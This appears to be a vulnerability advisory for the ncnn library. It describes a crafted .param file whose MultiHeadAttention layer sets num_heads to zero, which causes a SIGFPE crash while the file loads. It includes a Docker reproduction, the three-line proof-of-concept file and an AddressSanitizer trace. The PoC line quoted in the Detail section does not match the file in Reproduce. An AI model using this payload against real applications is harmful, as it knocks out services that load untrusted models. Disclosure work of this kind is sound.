Zero-Head MultiHeadAttention Causes Denial Of Service

Affected commit: 5e66f094bf7c597b4569cc014a8be84104748678
Sink: src/layer/multiheadattention.cpp:59 in MultiHeadAttention::load_param
Sanitizer verdict: FPE on unknown address 0x64aeecdded77 (pc 0x64aeecdded77 bp 0x7ffcaab88c40 sp 0x7ffcaab88b90 T0)

Summary

An attacker who supplies an ncnn .param file kills the loading process during parameter parsing — before any weights are read. A MultiHeadAttention layer with num_heads set to zero (key 1) makes MultiHeadAttention::load_param evaluate embed_dim / num_heads while computing the default attention scale, raising SIGFPE. The PoC drives it through ncnnoptimize, but any application calling ncnn::Net::load_param on an untrusted parameter file is affected, and the crash needs no weight file at all (null suffices).

Detail

The untrusted field is parameter key 1 of the MultiHeadAttention record, read into num_heads. pd.get(1, 1) supplies a default of 1 only when the key is missing; an explicit 1=0 is stored as-is. The very next lines use num_heads as a divisor while building the default value for key 6 (scale):

// src/layer/multiheadattention.cpp:51
int MultiHeadAttention::load_param(const ParamDict& pd)
{
    embed_dim = pd.get(0, 0);
    num_heads = pd.get(1, 1);
    weight_data_size = pd.get(2, 0);
    kdim = pd.get(3, embed_dim);
    vdim = pd.get(4, embed_dim);
    attn_mask = pd.get(5, 0);
    scale = pd.get(6, 1.f / sqrtf(embed_dim / num_heads));

C++ evaluates the argument expression unconditionally, so the division happens even though the PoC also provides an explicit 6=1 that would otherwise make the default irrelevant. embed_dim / num_heads is an integer division (both are int members), so with embed_dim=1 and num_heads=0 from the PoC layer MultiHeadAttention mha 1 1 data out 0=1 1=0 2=1 3=1 4=1 6=1, the idiv executes with a zero divisor and the process takes SIGFPE at ncnn::MultiHeadAttention::load_param.

Because the fault is in load_param, it fires at net.cpp:1524 during graph construction — the attacker never needs a valid .bin, valid weight sizes, or a runnable graph. The parameter text alone is a complete exploit, which is why the PoC passes null as ncnnoptimize's weight argument.

Reproduce

mkdir -p ncnn-poc-zero-head-multiheadattention-causes-denial-of-service && cd ncnn-poc-zero-head-multiheadattention-causes-denial-of-service

cat > Dockerfile <<'DOCKERFILE'
FROM ubuntu:24.04

RUN apt-get update && apt-get install -y --no-install-recommends \
      git ca-certificates g++ cmake make python3 python3-pip python3-numpy \
      protobuf-compiler libprotobuf-dev \
 && pip3 install --no-cache-dir --break-system-packages onnx protobuf \
 && rm -rf /var/lib/apt/lists/*

RUN git clone --depth 1 https://github.com/Tencent/ncnn.git /ncnn

WORKDIR /ncnn
RUN cmake -S . -B build \
      -DCMAKE_BUILD_TYPE=Debug \
      -DCMAKE_C_FLAGS="-O0 -g -fsanitize=address" \
      -DCMAKE_CXX_FLAGS="-O0 -g -fsanitize=address" \
      -DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address" \
      -DNCNN_BUILD_TOOLS=ON -DNCNN_BUILD_EXAMPLES=ON -DNCNN_BUILD_BENCHMARK=ON \
      -DNCNN_BUILD_TESTS=OFF -DNCNN_VULKAN=OFF -DNCNN_OPENMP=OFF \
 && cmake --build build -j"$(nproc)"

ENV ASAN_OPTIONS=detect_leaks=0
WORKDIR /poc
DOCKERFILE

cat > poc.param <<'EOF'
7767517
1 1
MultiHeadAttention mha 0 1 out 0=1 1=0
EOF

docker build -t ncnn-asan .
docker run --rm --network none -v "$PWD:/poc" ncnn-asan \
  /ncnn/build/tools/ncnnoptimize poc.param null out.param out.bin 0

AddressSanitizer output:

AddressSanitizer:DEADLYSIGNAL
=================================================================
==1==ERROR: AddressSanitizer: FPE on unknown address 0x616f08b4ed77 (pc 0x616f08b4ed77 bp 0x7fff28108c60 sp 0x7fff28108bb0 T0)
    #0 0x616f08b4ed77 in ncnn::MultiHeadAttention::load_param(ncnn::ParamDict const&) /ncnn/src/layer/multiheadattention.cpp:59
    #1 0x616f006beca1 in ncnn::Net::load_param(ncnn::DataReader const&) /ncnn/src/net.cpp:1524
    #2 0x616f006f329e in ncnn::Net::load_param(_IO_FILE*) /ncnn/src/net.cpp:2177
    #3 0x616f006f35d6 in ncnn::Net::load_param(char const*) /ncnn/src/net.cpp:2196
    #4 0x616f00606beb in main /ncnn/tools/ncnnoptimize.cpp:2788
    #5 0x7d0918bf51c9  (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #6 0x7d0918bf528a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #7 0x616f00586624 in _start (/ncnn/build/tools/ncnnoptimize+0x2a1624) (BuildId: b1911b1bfb480c5a294bfb9d0e0f7bbde3aaf530)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: FPE /ncnn/src/layer/multiheadattention.cpp:59 in ncnn::MultiHeadAttention::load_param(ncnn::ParamDict const&)
==1==ABORTING

Credit

Zheng Yu @ DepthFirst